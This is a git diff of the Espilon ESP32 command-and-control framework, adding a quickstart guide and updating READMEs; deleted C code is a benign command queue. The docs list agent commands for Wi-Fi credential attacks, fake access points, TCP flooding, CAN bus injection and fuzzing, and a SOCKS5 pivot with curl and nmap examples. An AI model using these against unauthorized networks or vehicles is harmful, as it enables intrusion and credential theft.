| **Medium** | mod_modbus | SCADA is a growing target, dual TCP/RTU |
| **Medium** | mod_sdcard | Simple, enables offline operations |
| **Low** | mod_lora | Good range but low throughput |
| **Low** | mod_glitch | High complexity, niche use case |
| **Low** | mod_flexray | Expensive hardware, niche vehicles |
| **Low** | mod_usb_mitm | Requires ESP32-S3 dual USB, very complex |

150
QUICKSTART.md Normal file
View File

@ -0,0 +1,150 @@
# Espilon — Quick Start Guide
Get a working C2 server in **under 5 minutes**.
> For full documentation see [README.md](README.md) and [tools/C3PO/README.md](tools/C3PO/README.md).
---
## Option A: Without Docker (recommended for development)
### 1. Clone and install
```bash
git clone https://github.com/Espilon-Net/epsilon-source.git
cd epsilon-source/tools/C3PO
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
### 2. Configure
```bash
cp .env.example .env
# Edit .env to change default passwords (optional for local testing)
```
### 3. Start the C2 server
```bash
python c3po.py
```
The TUI (terminal interface) starts automatically. You'll see a multi-pane interface with device list and logs.
### 4. Deploy to ESP32
```bash
cd tools
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
--wifi "YourSSID" "YourPassword" \
--srv 192.168.1.100
```
This will:
- Generate a unique crypto key
- Build the firmware
- Flash the ESP32
- Register the key in C3PO's keystore
The device connects automatically and appears in the TUI.
### 5. Send commands
In the C3PO TUI command bar (bottom), type:
```
send <device_id> system_info
send <device_id> ping 8.8.8.8
send <device_id> arp_scan
send <device_id> system_mem
```
Replace `<device_id>` with the ID shown in the TUI.
---
## Option B: With Docker
### 1. Start C3PO
```bash
cd tools/C3PO
cp .env.example .env
docker compose up -d
```
### 2. Open the web dashboard
Open http://localhost:8000 in your browser. Login: `admin` / `admin` (change in `.env`).
### 3. Deploy to ESP32
```bash
cd tools
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
--wifi "YourSSID" "YourPassword" \
--srv <your-machine-ip>
```
---
## Prerequisites for ESP32 hardware
- ESP-IDF v5.3.2 installed ([install guide](https://docs.espressif.com/projects/esp-idf/en/v5.3.2/esp32/get-started/))
- ESP32 connected via USB
- Python 3.8+
---
## Web dashboard
Start the web server from the TUI:
```
web start
```
Then open http://localhost:8000. Pages available:
| Page | URL | Description |
|------|-----|-------------|
| Dashboard | `/dashboard` | Device list and status |
| Tunnel | `/tunnel` | SOCKS5 tunnel proxy management |
| Cameras | `/cameras` | Live camera feeds |
| MLAT | `/mlat` | Multilateration map |
| OTA | `/ota` | Firmware build & deploy |
---
## Common commands reference
```
help Show all commands
list List connected devices
send <id> system_info Device info (chip, modules, memory)
send <id> system_mem Memory usage
send <id> ping <host> ICMP ping
send <id> arp_scan Scan local network
send <id> fakeap_start <ssid> Start a fake AP (if module enabled)
send <id> tun_start <ip> 2627 Start SOCKS5 tunnel proxy to C3PO
send <id> tun_stop Stop tunnel proxy
send all system_info Broadcast to all devices
group add scanners <id1> <id2> Create device group
send group scanners arp_scan Send to group
web start Start web dashboard
camera start Start camera UDP receiver
```
---
## Troubleshooting
| Problem | Solution |
|---------|----------|
| `ModuleNotFoundError: textual` | `pip install -r requirements.txt` |
| Device connects but commands fail | Check `keys.json` — the device key must match |
| Web dashboard not loading | Run `web start` in TUI first, then open http://localhost:8000 |
| `Decrypt/auth failed` | Key mismatch — re-provision the device with `deploy.py` |

View File

@ -27,8 +27,13 @@
- [Network Module](#network-module)
- [FakeAP Module](#fakeap-module)
- [Recon Module](#recon-module)
- [Red Team Module](#red-team-module)
- [Honeypot Module](#honeypot-module)
- [Tunnel Module](#tunnel-module-proxy-socks5)
- [CAN Bus Module](#can-bus-module-mcp2515)
- [OTA Module](#ota-module)
- [Outils](#outils)
- [Multi-Device Flasher](#multi-device-flasher)
- [Deploy Tool](#deploy-tool)
- [C2 Server (C3PO)](#c2-server-c3po)
- [Sécurité](#sécurité)
- [Chiffrement](#chiffrement)
@ -57,7 +62,7 @@ La documentation MkDocs inclut :
- Traduction EN/FR
- Configuration WiFi et GPRS
- Référence des modules et commandes
- Guide du flasher multi-device
- Guide du deploy tool
- Spécification du protocole C2
- Exemples et cas d'usage
```
@ -138,12 +143,13 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
│ ESP32 Agent │
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
│ └───────────┘ └──────────┘ └─────────────────┘ │
│ ↓ ↓ ↓ │
│ ┌───────────────────────────────────────────────┐ │
│ │ Module System (FreeRTOS) │ │
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
│ │ [Network] [Tunnel] [FakeAP] [Recon] │ │
│ │ [RedTeam] [Honeypot] [CAN Bus] [OTA] │ │
│ └───────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
↕ Encrypted TCP
@ -151,23 +157,22 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
│ C2 Server (C3PO) │
│ - Device Registry │
│ - Group Management │
│ - CLI Interface
│ - TUI + Web UI
└──────────────────────┘
```
### Composants Clés
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
- **Flasher** : Outil de flash multi-device automatisé
- **C2 (C3PO)** : Serveur Python asyncio + dashboard web pour contrôle multi-agents
- **Deploy** : Pipeline unifié build, provision & flash (`tools/deploy.py`)
---
## Modules Disponibles
> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig.
> Les modules s'activent indépendamment via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Plusieurs modules peuvent être actifs simultanément (selon les contraintes flash/RAM).
### System Module (Built-in, toujours actif)
@ -179,13 +184,14 @@ Commandes système de base :
### Network Module
Module pour reconnaissance et tests réseau :
Module pour reconnaissance, tests réseau et proxy tunnel SOCKS5 :
- `ping <host> [args...]` : Test de connectivité ICMP
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
- `proxy_stop` : Arrêter le proxy en cours
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
- `tun_start <ip> <port>` : Démarrer le proxy tunnel SOCKS5 vers C3PO (nécessite `CONFIG_MODULE_TUNNEL`)
- `tun_stop` : Arrêter le tunnel
- `tun_status` : Statut du tunnel (channels, bytes, mode chiffrement)
### FakeAP Module
@ -214,90 +220,120 @@ Module de reconnaissance et collecte de données. Deux modes disponibles :
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
- `trilat stop` : Arrêter la trilatération
### Red Team Module
Hunt WiFi autonome, attaques de credentials, et mesh relay ESP-NOW :
- `rt_hunt` : Lancer le cycle scan + attaque WiFi autonome
- `rt_stop` : Arrêter le hunt
- `rt_status` : Cibles en cours, progression, credentials capturés
- `rt_scan` : Scan passif des APs (mode promiscuous, sans association)
- `rt_net_add <ssid> <pass>` / `rt_net_list` : Gérer les réseaux connus
- `rt_mesh` : Activer le relay ESP-NOW mesh (multi-hop vers C2 hors portée)
- Stealth : randomisation MAC, scan passif, contrôle puissance TX
### Honeypot Module
Faux services réseau qui loggent les interactions des attaquants :
- `hp_start` / `hp_stop` : Démarrer/arrêter tous les services
- Services émulés : SSH, Telnet, HTTP, FTP (ports configurables)
- `hp_wifi_mon_start` / `hp_wifi_mon_stop` : Monitor WiFi (probe, deauth, EAPOL, beacon flood)
- `hp_net_mon_start` / `hp_net_mon_stop` : Détection anomalies réseau (port scan, SYN flood)
- Tous les events remontés au C2 au format `EVT|` (dashboard honeypot C3PO)
### Tunnel Module (Proxy SOCKS5)
Proxy tunnel SOCKS5 multiplexé à travers l'ESP32. Utilise n'importe quel outil réseau (`curl`, `nmap`, `proxychains`) pour pivoter à travers le bot sur le réseau cible.
- Le SOCKS5 tourne côté C3PO (port 1080) — l'ESP32 ne gère que des frames binaires
- Jusqu'à 8 connexions TCP simultanées (configurable via Kconfig)
- Résolution DNS côté ESP32 (voit les DNS internes du réseau cible)
- Reconnexion automatique avec backoff exponentiel
- Chiffrement AEAD ChaCha20-Poly1305 par frame optionnel
**Ports C3PO** : 2626 (commandes C2) + 2627 (données tunnel) + 1080 (SOCKS5, localhost uniquement)
```bash
# Démarrer le tunnel depuis le C2
send <device_id> tun_start <c3po_ip> 2627
# Utiliser n'importe quel outil à travers le proxy
curl --socks5-hostname 127.0.0.1:1080 http://cible-interne.local
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
```
Voir [TUNNEL.md](TUNNEL.md) pour la spécification complète du protocole et le guide de test.
### CAN Bus Module (MCP2515)
CAN bus automobile via contrôleur SPI externe MCP2515 :
- `can_start [bitrate] [mode]` : Init bus (normal/listen/loopback)
- `can_sniff [duration]` / `can_record` / `can_replay` : Capture et replay
- `can_send <id> <data>` : Injection de trame
- UDS : `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
- OBD-II : `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
- Fuzzing : `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
### OTA Module
Mises à jour firmware over-the-air depuis le serveur C2 :
- Téléchargement firmware HTTPS sécurisé (fallback HTTP optionnel)
- Schéma dual partition (A/B) pour rollback sécurisé
- Reporting de progression vers le C2
---
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
Choisissez **un seul module** :
- `CONFIG_MODULE_NETWORK` : Active le Network Module
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
- `CONFIG_MODULE_RECON` : Active le Recon Module
- Puis choisir : `Camera` ou `BLE Trilateration`
- `CONFIG_MODULE_NETWORK` : Network Module
- `CONFIG_MODULE_FAKEAP` : FakeAP Module
- `CONFIG_MODULE_RECON` : Recon Module (Camera ou BLE Trilateration)
- `CONFIG_MODULE_REDTEAM` : Red Team Module
- `CONFIG_MODULE_HONEYPOT` : Honeypot Module
- `CONFIG_MODULE_TUNNEL` : Proxy Tunnel SOCKS5 (nécessite `CONFIG_MODULE_NETWORK`)
- `CONFIG_MODULE_CANBUS` : CAN Bus Module (nécessite hardware MCP2515)
- `CONFIG_ESPILON_OTA_ENABLED` : OTA Updates
---
## Outils
### Multi-Device Flasher
### Deploy Tool
Flasher automatisé pour configurer plusieurs ESP32 :
Pipeline unifié pour **build**, **provisionner** (clés crypto), et **flasher** les ESP32 :
```bash
cd tools/flasher
python3 flash.py --config devices.json
cd tools
# Assistant interactif
python3 deploy.py
# Un seul device
python3 deploy.py -p /dev/ttyUSB0 -d mon-device \
--wifi MonSSID MonMotDePasse --srv 192.168.1.100
# Deploy batch
python3 deploy.py --config deploy.example.json
```
**devices.json** :
Chaque deploy génère une **master key 256-bit** par device, l'écrit en factory NVS, et l'enregistre dans le keystore C2 (`keys.json`).
```json
{
"project": "/home/user/epsilon/espilon_bot",
"devices": [
## WiFi AGENT ##
{
"device_id": "ce4f626b",
"port": "/dev/ttyUSB0",
"srv_ip": "192.168.1.13",
"srv_port": 2626,
"network_mode": "wifi",
"wifi_ssid": "MyWiFi",
"wifi_pass": "MyPassword123",
"hostname": "pixel-8-pro",
"module_network": true,
"module_recon": false,
"module_fakeap": false,
"recon_camera": false,
"recon_ble_trilat": false,
"crypto_key": "testde32chars00000000000000000000",
"crypto_nonce": "noncenonceno"
},
## GPRS AGENT ##
{
"device_id": "a91dd021",
"port": "/dev/ttyUSB1",
"srv_ip": "203.0.113.10",
"srv_port": 2626,
"network_mode": "gprs",
"gprs_apn": "sl2sfr",
"hostname": "galaxy-s24-ultra",
"module_network": true,
"module_recon": false,
"module_fakeap": false
}
]
}
```
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
Voir [tools/README.md](tools/README.md) pour la documentation complète (modes, batch config, OTA vs non-OTA, flash map).
### C2 Server (C3PO)
Serveur de Command & Control :
```bash
cd tools/c2
cd tools/C3PO
pip3 install -r requirements.txt
python3 c3po.py --port 2626
python3 c3po.py
```
**Commandes** :
- `list` : Lister les agents connectés
- `select <id>` : Sélectionner un agent
- `cmd <command>` : Exécuter une commande
- `group` : Gérer les groupes d'agents
Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
---
@ -305,17 +341,13 @@ python3 c3po.py --port 2626
### Chiffrement
- **ChaCha20** pour les communications C2
- **Clés configurables** via menuconfig
- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
- **Master keys per-device** stockées en partition factory NVS (read-only)
- **Protocol Buffers (nanoPB)** pour la sérialisation
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
```bash
# Générer des clés aléatoires
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
Provisionner chaque device avec une master key unique via `tools/deploy.py`. Les clés ne sont jamais hardcodées dans le firmware.
### Usage Responsable
@ -354,21 +386,26 @@ Espilon doit être utilisé uniquement pour :
## Roadmap
### V2.0 (En cours)
### V2.0 (Complet)
- [ ] Mesh networking (BLE/WiFi)
- [ ] Implémenter Module reccoon dans C3PO
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
- [ ] OTA updates
- [ ] Multilatération collaborative
- [ ] Optimisation mémoire
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
- [x] Provisioning per-device factory NVS
- [x] Réécriture C3PO avec crypto per-device
- [x] OTA firmware updates
- [x] Module Red Team (hunt WiFi autonome)
- [x] Module Honeypot (faux services + monitoring)
- [x] Module CAN Bus (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
- [x] Web dashboard avec gestion devices, caméra, MLAT, OTA, CAN
- [x] Proxy tunnel SOCKS5 (pivot multiplexé à travers l'ESP32)
### Future
- [ ] Module BLE (scan, GATT enum, beacon spoofing)
- [ ] Module Sub-GHz (CC1101 — 433/868/915 MHz)
- [ ] Module BadUSB (ESP32-S2/S3 HID injection)
- [ ] PCB custom Espilon
- [ ] Support ESP32-S3/C3
- [ ] Module SDK pour extensions tierces
- [ ] Web UI pour C2
---
@ -412,7 +449,7 @@ Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
- **[Documentation complète](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **English README** : [README.en.md](README.en.md)
- **English README** : [README.md](README.md)
---

209
README.md
View File

@ -9,6 +9,8 @@
[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32)
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
>
> **New here?** Check the [Quick Start Guide](QUICKSTART.md) — get a working C2 with a simulated device in under 5 minutes, no ESP32 required.
---
@ -27,8 +29,13 @@
- [Network Module](#network-module)
- [FakeAP Module](#fakeap-module)
- [Recon Module](#recon-module)
- [Red Team Module](#red-team-module)
- [Honeypot Module](#honeypot-module)
- [Tunnel Module](#tunnel-module-socks5-proxy)
- [CAN Bus Module](#can-bus-module-mcp2515)
- [OTA Module](#ota-module)
- [Tools](#tools)
- [Multi-Device Flasher](#multi-device-flasher)
- [Deploy Tool](#deploy-tool)
- [C2 Server (C3PO)](#c2-server-c3po)
- [Security](#security)
- [Encryption](#encryption)
@ -57,7 +64,7 @@ The MkDocs documentation includes:
- Translate EN/FR
- WiFi and GPRS configuration
- Module and command reference
- Multi-device flasher guide
- Deploy tool guide
- C2 protocol specification
- Examples and use cases
```
@ -89,7 +96,7 @@ cd ~
git clone https://github.com/Espilon-Net/epsilon-source.git
cd Espilon-Net/espilon_bot
# 3. Configure with menuconfig or tools/flasher/devices.json
# 3. Configure with menuconfig or tools/deploy.py
idf.py menuconfig
# 4. Build and flash
@ -138,12 +145,13 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
| ESP32 Agent |
| +-----------+ +----------+ +---------------------+ |
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
| | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
| +-----------+ +----------+ +---------------------+ |
| | | | |
| +-----------------------------------------------------+|
| | Module System (FreeRTOS) ||
| | [Network] [FakeAP] [Recon] [Custom...] ||
| | [Network] [Tunnel] [FakeAP] [Recon] [RedTeam] ||
| | [Honeypot] [CAN Bus] [OTA] [Custom...] ||
| +-----------------------------------------------------+|
+---------------------------------------------------------+
| Encrypted TCP
@ -151,22 +159,22 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
| C2 Server (C3PO) |
| - Device Registry |
| - Group Management |
| - CLI Interface |
| - TUI + Web UI |
+---------------------+
```
### Key Components
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
- **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)**: Python asyncio server for multi-agent control
- **Flasher**: Automated multi-device flashing tool
- **Deploy**: Unified build, provision & flash pipeline (`tools/deploy.py`)
---
## Available Modules
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
> Modules are enabled independently via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Multiple modules can be active simultaneously (subject to flash/RAM constraints).
### System Module (Built-in, always active)
@ -175,33 +183,33 @@ Basic system commands:
- `system_reboot`: Reboot the ESP32
- `system_mem`: Display memory usage (heap free, heap min, internal free)
- `system_uptime`: Uptime since boot
- `system_info`: Chip info, SDK version, active modules
### Network Module
Module for network reconnaissance and testing:
Network reconnaissance, testing, and SOCKS5 tunnel proxy:
- `ping <host> [args...]`: ICMP connectivity test
- `arp_scan`: Discover hosts on local network via ARP
- `proxy_start <ip> <port>`: Start a TCP proxy
- `proxy_stop`: Stop the running proxy
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
- `tun_start <ip> <port>`: Start SOCKS5 tunnel proxy to C3PO (requires `CONFIG_MODULE_TUNNEL`)
- `tun_stop`: Stop the tunnel
- `tun_status`: Tunnel status (channels, bytes, encryption mode)
### FakeAP Module
Module for creating simulated WiFi access points:
Simulated WiFi access points with captive portal and traffic sniffing:
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
- `fakeap_stop`: Stop the fake AP
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
- `fakeap_clients`: List connected clients
- `fakeap_portal_start`: Enable captive portal
- `fakeap_portal_stop`: Disable captive portal
- `fakeap_sniffer_on`: Enable network traffic capture
- `fakeap_sniffer_off`: Disable capture
- `fakeap_portal_start` / `fakeap_portal_stop`: Captive portal
- `fakeap_sniffer_on` / `fakeap_sniffer_off`: Traffic capture
### Recon Module
Reconnaissance and data collection module. Two modes available:
Reconnaissance and data collection. Two modes:
#### Camera Mode (ESP32-CAM)
@ -213,66 +221,119 @@ Reconnaissance and data collection module. Two modes available:
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
- `trilat stop`: Stop trilateration
### Red Team Module
Autonomous WiFi hunting, credential attacks, and ESP-NOW mesh relay:
- `hunt_start [profile]`: Launch autonomous WiFi scan + attack cycle
- `hunt_stop`: Stop hunting
- `hunt_status`: Current targets, progress, captured credentials
- Stealth features: MAC randomization, passive scanning, timing jitter
- ESP-NOW mesh: multi-hop relay for out-of-range C2
### Honeypot Module
Fake network services that log attacker interactions:
- Emulated services: SSH, Telnet, HTTP, FTP (configurable ports)
- WiFi monitor: detect rogue APs and deauth attacks
- Network anomaly detection: ARP spoofing, port scanning alerts
- All events streamed to C2 with attacker fingerprints
### Tunnel Module (SOCKS5 Proxy)
Multiplexed SOCKS5 tunnel proxy through the ESP32. Use any network tool (`curl`, `nmap`, `proxychains`) to pivot through the bot onto the target network.
- SOCKS5 runs on C3PO (port 1080) — the ESP32 only handles binary frames
- Up to 8 concurrent TCP connections (configurable via Kconfig)
- DNS resolution on the ESP32 side (sees internal DNS of the target network)
- Auto-reconnect with exponential backoff if C3PO connection drops
- Optional per-frame ChaCha20-Poly1305 AEAD encryption
**C3PO ports**: 2626 (C2 commands) + 2627 (tunnel data) + 1080 (SOCKS5, localhost only)
```bash
# Start tunnel from C2
send <device_id> tun_start <c3po_ip> 2627
# Use any tool through the proxy
curl --socks5-hostname 127.0.0.1:1080 http://target-internal.local
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
```
See [TUNNEL.md](TUNNEL.md) for full protocol specification and testing guide.
### CAN Bus Module (MCP2515)
Automotive CAN bus: sniff, inject, UDS diagnostics, OBD-II, and fuzzing via external MCP2515 SPI controller.
- `can_start [bitrate] [mode]`: Init bus (normal/listen/loopback)
- `can_sniff [duration]` / `can_record` / `can_replay`: Capture and replay
- `can_send <id> <data>`: Frame injection
- UDS: `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
- OBD-II: `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
- Fuzzing: `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
See [mod_canbus documentation](espilon_bot/components/mod_canbus/README.md) for full details.
### OTA Module
Over-the-air firmware updates from C2 server:
- Secure HTTPS firmware download (optional HTTP fallback)
- Dual partition scheme (A/B) for safe rollback
- Progress reporting to C2
---
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
**Configuration**: `idf.py menuconfig` → Espilon Bot Configuration → Modules
Choose **only one module**:
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
- `CONFIG_MODULE_RECON`: Enable the Recon Module
- Then choose: `Camera` or `BLE Trilateration`
- `CONFIG_MODULE_NETWORK`: Network Module
- `CONFIG_MODULE_FAKEAP`: FakeAP Module
- `CONFIG_MODULE_RECON`: Recon Module (Camera or BLE Trilateration)
- `CONFIG_MODULE_REDTEAM`: Red Team Module
- `CONFIG_MODULE_HONEYPOT`: Honeypot Module
- `CONFIG_MODULE_TUNNEL`: SOCKS5 Tunnel Proxy (requires `CONFIG_MODULE_NETWORK`)
- `CONFIG_MODULE_CANBUS`: CAN Bus Module (requires MCP2515 hardware)
- `CONFIG_ESPILON_OTA_ENABLED`: OTA Updates
---
## Tools
### Multi-Device Flasher
### Deploy Tool
Automated flasher to configure multiple ESP32s:
Unified pipeline to **build**, **provision** (crypto keys), and **flash** ESP32 devices:
```bash
cd tools/flasher
python3 flash.py --config devices.json
cd tools
# Interactive wizard
python3 deploy.py
# Single device
python3 deploy.py -p /dev/ttyUSB0 -d my-device \
--wifi MySSID MyPassword --srv 192.168.1.100
# Batch deploy
python3 deploy.py --config deploy.example.json
```
**devices.json**:
Each deploy generates a **256-bit master key** per device, writes it to the factory NVS partition, and registers it in the C2 keystore (`keys.json`).
```json
{
"project": "/path/to/espilon_bot",
"devices": [
{
"device_id": "esp001",
"port": "/dev/ttyUSB0",
"network_mode": "wifi",
"wifi_ssid": "MyNetwork",
"wifi_pass": "MyPassword",
"srv_ip": "192.168.1.100"
}
]
}
```
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
See [tools/README.md](tools/README.md) for complete documentation (modes, batch config, OTA vs non-OTA, flash map).
### C2 Server (C3PO)
Command & Control server:
```bash
cd tools/c2
cd tools/C3PO
pip3 install -r requirements.txt
python3 c3po.py --port 2626
python3 c3po.py
```
**Commands**:
- `list`: List connected agents
- `select <id>`: Select an agent
- `cmd <command>`: Execute a command
- `group`: Manage agent groups
Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
---
@ -280,17 +341,13 @@ python3 c3po.py --port 2626
### Encryption
- **ChaCha20** for C2 communications
- **Configurable keys** via menuconfig
- **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
- **HKDF-SHA256** key derivation (per-device master key + device ID salt)
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
- **Per-device master keys** stored in factory NVS partition (read-only)
- **Protocol Buffers (nanoPB)** for serialization
**CHANGE DEFAULT KEYS** for production use:
```bash
# Generate random keys
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
Provision each device with a unique master key using `tools/deploy.py`. Keys are never hardcoded in firmware.
### Responsible Use
@ -329,20 +386,28 @@ Espilon should only be used for:
## Roadmap
### V2.0 (In Progress)
### V2.0 (Complete)
- [ ] Mesh networking (BLE/WiFi)
- [ ] Improve documentation
- [ ] OTA updates
- [ ] Collaborative multilateration
- [ ] Memory optimization
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
- [x] Per-device factory NVS key provisioning
- [x] C3PO C2 rewrite with per-device crypto
- [x] OTA firmware updates
- [x] Red Team module (autonomous WiFi hunting)
- [x] Honeypot module (fake services + monitoring)
- [x] CAN Bus module (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
- [x] Web dashboard with device management, camera, MLAT, OTA, CAN
- [x] SOCKS5 tunnel proxy (multiplexed pivot through ESP32)
### Future
- [ ] BLE module (scan, GATT enum, beacon spoofing)
- [ ] Sub-GHz module (CC1101 — 433/868/915 MHz)
- [ ] BadUSB module (ESP32-S2/S3 HID injection)
- [ ] Custom Espilon PCB
- [ ] ESP32-S3/C3 support
- [ ] Module SDK for third-party extensions
- [ ] Web UI for C2
See [MODULE_IDEAS.md](MODULE_IDEAS.md) for the full list of planned modules.
---
@ -385,7 +450,7 @@ Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
- **[Full documentation](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **French README**: [README.md](README.md)
- **French README**: [README.fr.md](README.fr.md)
---

View File

@ -1,7 +0,0 @@
idf_component_register(
SRCS
command.c
command_async.c
INCLUDE_DIRS .
REQUIRES freertos core
)

View File

@ -1,57 +0,0 @@
#pragma once
#include <stdbool.h>
#include <stddef.h>
#include "esp_err.h" // 🔥 OBLIGATOIRE pour esp_err_t
#include "c2.pb.h"
/* ============================================================
* Limits
* ============================================================ */
#define MAX_COMMANDS 32
#define MAX_ASYNC_ARGS 8
#define MAX_ASYNC_ARG_LEN 64
/* ============================================================
* Command handler prototype
* ============================================================ */
typedef esp_err_t (*command_handler_t)(
int argc,
char **argv,
const char *request_id,
void *ctx
);
/* ============================================================
* Command definition
* ============================================================ */
typedef struct {
const char *name; /* command name */
int min_args;
int max_args;
command_handler_t handler; /* handler */
void *ctx; /* optional context */
bool async; /* async execution */
} command_t;
/* ============================================================
* Registry
* ============================================================ */
void command_register(const command_t *cmd);
void command_log_registry_summary(void);
/* ============================================================
* Dispatcher (called by process.c)
* ============================================================ */
void command_process_pb(const c2_Command *cmd);
/* ============================================================
* Async support
* ============================================================ */
void command_async_init(void);
void command_async_enqueue(
const command_t *cmd,
const c2_Command *pb_cmd
);

View File

@ -1,101 +0,0 @@
#include "command.h"
#include "utils.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/queue.h"
#include <string.h>
static const char *TAG = "CMD_ASYNC";
/* =========================================================
* Async job structure
* ========================================================= */
typedef struct {
const command_t *cmd;
int argc;
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
char *argv_ptrs[MAX_ASYNC_ARGS];
char request_id[64];
} async_job_t;
static QueueHandle_t async_queue;
/* =========================================================
* Worker task
* ========================================================= */
static void async_worker(void *arg)
{
async_job_t job;
while (1) {
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
job.cmd->handler(
job.argc,
job.argv_ptrs,
job.request_id[0] ? job.request_id : NULL,
job.cmd->ctx
);
}
}
}
/* =========================================================
* Init async system
* ========================================================= */
void command_async_init(void)
{
async_queue = xQueueCreate(8, sizeof(async_job_t));
if (!async_queue) {
ESP_LOGE(TAG, "Failed to create async queue");
return;
}
xTaskCreate(
async_worker,
"cmd_async",
4096,
NULL,
5,
NULL
);
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
}
/* =========================================================
* Enqueue async command
* ========================================================= */
void command_async_enqueue(const command_t *cmd,
const c2_Command *pb_cmd)
{
if (!cmd || !pb_cmd) return;
async_job_t job = {0};
job.cmd = cmd;
job.argc = pb_cmd->argv_count;
if (job.argc > MAX_ASYNC_ARGS)
job.argc = MAX_ASYNC_ARGS;
for (int i = 0; i < job.argc; i++) {
strncpy(job.argv[i],
pb_cmd->argv[i],
MAX_ASYNC_ARG_LEN - 1);
job.argv_ptrs[i] = job.argv[i];
}
if (pb_cmd->request_id[0]) {
strncpy(job.request_id,
pb_cmd->request_id,
sizeof(job.request_id) - 1);
}
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
ESP_LOGE(TAG, "Async queue full");
msg_error("cmd", "Async queue full",
pb_cmd->request_id);
}
}

View File

@ -1,20 +1,25 @@
set(PRIV_REQUIRES_LIST
